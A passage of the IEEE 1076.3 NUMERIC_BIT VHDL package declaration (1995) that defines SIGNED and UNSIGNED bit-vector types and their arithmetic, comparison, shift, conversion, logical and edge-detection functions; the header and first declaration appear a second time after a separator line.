-- : useful type conversions functions, clock detection
-- : functions, and other utility functions.
-- :
-- : If any argument to a function is a null array, a null array is
-- : returned (exceptions, if any, are noted individually).
--
-- Limitation :
--
-- Note : No declarations or definitions shall be included in,
-- : or excluded from this package. The "package declaration"
-- : defines the types, subtypes and declarations of
-- : NUMERIC_BIT. The NUMERIC_BIT package body shall be
-- : considered the formal definition of the semantics of
-- : this package. Tool developers may choose to implement
-- : the package body in the most efficient manner available
-- : to them.
-- :
-- -----------------------------------------------------------------------------
-- Version : 2.4
-- Date : 12 April 1995
-- -----------------------------------------------------------------------------
package NUMERIC_BIT is
constant CopyRightNotice: STRING
:= "Copyright 1995 IEEE. All rights reserved.";
--============================================================================
-- Numeric array type definitions
--============================================================================
type UNSIGNED is array (NATURAL range <> ) of BIT;
type SIGNED is array (NATURAL range <> ) of BIT;
--============================================================================
-- Arithmetic Operators:
--============================================================================
-- Id: A.1
function "abs" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the absolute value of a SIGNED vector ARG.
-- Id: A.2
function "-" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the value of the unary minus operation on a
-- SIGNED vector ARG.
--============================================================================
-- Id: A.3
function "+" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two UNSIGNED vectors that may be of different lengths.
-- Id: A.4
function "+" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two SIGNED vectors that may be of different lengths.
-- Id: A.5
function "+" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Adds an UNSIGNED vector, L, with a non-negative INTEGER, R.
-- Id: A.6
function "+" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Adds a non-negative INTEGER, L, with an UNSIGNED vector, R.
-- Id: A.7
function "+" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Adds an INTEGER, L(may be positive or negative), to a SIGNED
-- vector, R.
-- Id: A.8
function "+" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Adds a SIGNED vector, L, to an INTEGER, R.
--============================================================================
-- Id: A.9
function "-" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts two UNSIGNED vectors that may be of different lengths.
-- Id: A.10
function "-" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from another SIGNED vector, L,
-- that may possibly be of different lengths.
-- Id: A.11
function "-" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts a non-negative INTEGER, R, from an UNSIGNED vector, L.
-- Id: A.12
function "-" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts an UNSIGNED vector, R, from a non-negative INTEGER, L.
-- Id: A.13
function "-" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts an INTEGER, R, from a SIGNED vector, L.
-- Id: A.14
function "-" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from an INTEGER, L.
--============================================================================
-- Id: A.15
function "*" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+R'LENGTH-1) downto 0).
-- Result: Performs the multiplication operation on two UNSIGNED vectors
-- that may possibly be of different lengths.
-- Id: A.16
function "*" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies two SIGNED vectors that may possibly be of
-- different lengths.
-- Id: A.17
function "*" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+L'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, L, with a non-negative
-- INTEGER, R. R is converted to an UNSIGNED vector of
-- size L'LENGTH before multiplication.
-- Id: A.18
function "*" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((R'LENGTH+R'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, R, with a non-negative
-- INTEGER, L. L is converted to an UNSIGNED vector of
-- size R'LENGTH before multiplication.
-- Id: A.19
function "*" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+L'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, L, with an INTEGER, R. R is
-- converted to a SIGNED vector of size L'LENGTH before
-- multiplication.
-- Id: A.20
function "*" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((R'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, R, with an INTEGER, L. L is
-- converted to a SIGNED vector of size R'LENGTH before
-- multiplication.
--============================================================================
--
-- NOTE: If second argument is zero for "/" operator, a severity level
-- of ERROR is issued.
-- Id: A.21
function "/" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by another UNSIGNED vector, R.
-- Id: A.22
function "/" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an SIGNED vector, L, by another SIGNED vector, R.
-- Id: A.23
function "/" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by a non-negative INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.24
function "/" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Divides a non-negative INTEGER, L, by an UNSIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.25
function "/" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides a SIGNED vector, L, by an INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.26
function "/" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Divides an INTEGER, L, by a SIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "rem" operator, a severity level
-- of ERROR is issued.
-- Id: A.27
function "rem" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are UNSIGNED vectors.
-- Id: A.28
function "rem" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are SIGNED vectors.
-- Id: A.29
function "rem" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is an UNSIGNED vector and R is a
-- non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.30
function "rem" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is an UNSIGNED vector and L is a
-- non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.31
function "rem" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is SIGNED vector and R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.32
function "rem" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is SIGNED vector and L is an INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "mod" operator, a severity level
-- of ERROR is issued.
-- Id: A.33
function "mod" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are UNSIGNED vectors.
-- Id: A.34
function "mod" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are SIGNED vectors.
-- Id: A.35
function "mod" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an UNSIGNED vector and R
-- is a non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.36
function "mod" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where R is an UNSIGNED vector and L
-- is a non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.37
function "mod" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is a SIGNED vector and
-- R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.38
function "mod" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an INTEGER and
-- R is a SIGNED vector.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
-- Comparison Operators
--============================================================================
-- Id: C.1
function ">" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.2
function ">" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.3
function ">" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.4
function ">" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a INTEGER and
-- R is a SIGNED vector.
-- Id: C.5
function ">" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.6
function ">" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a SIGNED vector and
-- R is a INTEGER.
--============================================================================
-- Id: C.7
function "<" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.8
function "<" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.9
function "<" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.10
function "<" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.11
function "<" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.12
function "<" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.13
function "<=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.14
function "<=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.15
function "<=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.16
function "<=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.17
function "<=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.18
function "<=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.19
function ">=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.20
function ">=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.21
function ">=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.22
function ">=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.23
function ">=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.24
function ">=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.25
function "=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.26
function "=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.27
function "=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.28
function "=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.29
function "=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.30
function "=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.31
function "/=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.32
function "/=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.33
function "/=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.34
function "/=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.35
function "/=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.36
function "/=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Shift and Rotate Functions
--============================================================================
-- Id: S.1
function SHIFT_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits are lost.
-- Id: S.2
function SHIFT_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT rightmost bits are lost.
-- Id: S.3
function SHIFT_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on a SIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits, except ARG'LEFT, are lost.
-- Id: S.4
function SHIFT_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on a SIGNED vector COUNT times.
-- The vacated positions are filled with the leftmost bit, ARG'LEFT.
-- The COUNT rightmost bits are lost.
--============================================================================
-- Id: S.5
function ROTATE_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-left of an UNSIGNED vector COUNT times.
-- Id: S.6
function ROTATE_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-right of an UNSIGNED vector COUNT times.
-- Id: S.7
function ROTATE_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-left of a SIGNED vector COUNT times.
-- Id: S.8
function ROTATE_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-right of a SIGNED vector COUNT times.
--============================================================================
------------------------------------------------------------------------------
-- Note : Function S.9 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.9
function "sll" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.10 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.10
function "sll" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.11 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.11
function "srl" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.12 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.12
function "srl" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SIGNED(SHIFT_RIGHT(UNSIGNED(ARG), COUNT))
------------------------------------------------------------------------------
-- Note : Function S.13 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.13
function "rol" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.14
function "rol" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.15 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.15
function "ror" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.16 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.16
function "ror" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
--============================================================================
-- RESIZE Functions
--============================================================================
-- Id: R.1
function RESIZE (ARG: SIGNED; NEW_SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the SIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with the sign bit (ARG'LEFT). When truncating,
-- the sign bit is retained along with the rightmost part.
-- Id: R.2
function RESIZE (ARG: UNSIGNED; NEW_SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the UNSIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with '0'. When truncating, the leftmost bits
-- are dropped.
--============================================================================
-- Conversion Functions
--============================================================================
-- Id: D.1
function TO_INTEGER (ARG: UNSIGNED) return NATURAL;
-- Result subtype: NATURAL. Value cannot be negative since parameter is an
-- UNSIGNED vector.
-- Result: Converts the UNSIGNED vector to an INTEGER.
-- Id: D.2
function TO_INTEGER (ARG: SIGNED) return INTEGER;
-- Result subtype: INTEGER
-- Result: Converts a SIGNED vector to an INTEGER.
-- Id: D.3
function TO_UNSIGNED (ARG, SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(SIZE-1 downto 0)
-- Result: Converts a non-negative INTEGER to an UNSIGNED vector with
-- the specified size.
-- Id: D.4
function TO_SIGNED (ARG: INTEGER; SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(SIZE-1 downto 0)
-- Result: Converts an INTEGER to a SIGNED vector of the specified size.
--============================================================================
-- Logical Operators
--============================================================================
-- Id: L.1
function "not" (L: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.2
function "and" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.3
function "or" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.4
function "nand" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.5
function "nor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.6
function "xor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.7 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.7
function "xnor" (L, R: UNSIGNED) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
-- Id: L.8
function "not" (L: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.9
function "and" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.10
function "or" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.11
function "nand" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.12
function "nor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.13
function "xor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.14
function "xnor" (L, R: SIGNED) return SIGNED; --V93
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
--============================================================================
-- Edge Detection Functions
--============================================================================
-- Id: E.1
function RISING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '0' to a '1'.
-- Id: E.2
function FALLING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '1' to a '0'.
end NUMERIC_BIT;
|
-- -----------------------------------------------------------------------------
--
-- Copyright 1995 by IEEE. All rights reserved.
--
-- This source file is considered by the IEEE to be an essential part of the use
-- of the standard 1076.3 and as such may be distributed without change, except
-- as permitted by the standard. This source file may not be sold or distributed
-- for profit. This package may be modified to include additional data required
-- by tools, but must in no way change the external interfaces or simulation
-- behaviour of the description. It is permissible to add comments and/or
-- attributes to the package declarations, but not to change or delete any
-- original lines of the approved package declaration. The package body may be
-- changed only in accordance with the terms of clauses 7.1 and 7.2 of the
-- standard.
--
-- Title : Standard VHDL Synthesis Package (1076.3, NUMERIC_BIT)
--
-- Library : This package shall be compiled into a library symbolically
-- : named IEEE.
--
-- Developers : IEEE DASC Synthesis Working Group, PAR 1076.3
--
-- Purpose : This package defines numeric types and arithmetic functions
-- : for use with synthesis tools. Two numeric types are defined:
-- : -- > UNSIGNED: represents an UNSIGNED number in vector form
-- : -- > SIGNED: represents a SIGNED number in vector form
-- : The base element type is type BIT.
-- : The leftmost bit is treated as the most significant bit.
-- : Signed vectors are represented in two's complement form.
-- : This package contains overloaded arithmetic operators on
-- : the SIGNED and UNSIGNED types. The package also contains
-- : useful type conversions functions, clock detection
-- : functions, and other utility functions.
-- :
-- : If any argument to a function is a null array, a null array is
-- : returned (exceptions, if any, are noted individually).
--
-- Limitation :
--
-- Note : No declarations or definitions shall be included in,
-- : or excluded from this package. The "package declaration"
-- : defines the types, subtypes and declarations of
-- : NUMERIC_BIT. The NUMERIC_BIT package body shall be
-- : considered the formal definition of the semantics of
-- : this package. Tool developers may choose to implement
-- : the package body in the most efficient manner available
-- : to them.
-- :
-- -----------------------------------------------------------------------------
-- Version : 2.4
-- Date : 12 April 1995
-- -----------------------------------------------------------------------------
package NUMERIC_BIT is
constant CopyRightNotice: STRING
:= "Copyright 1995 IEEE. All rights reserved.";
--============================================================================
-- Numeric array type definitions
--============================================================================
type UNSIGNED is array (NATURAL range <> ) of BIT;
type SIGNED is array (NATURAL range <> ) of BIT;
--============================================================================
-- Arithmetic Operators:
--============================================================================
-- Id: A.1
function "abs" (ARG: SIGNED) return SIGNED;
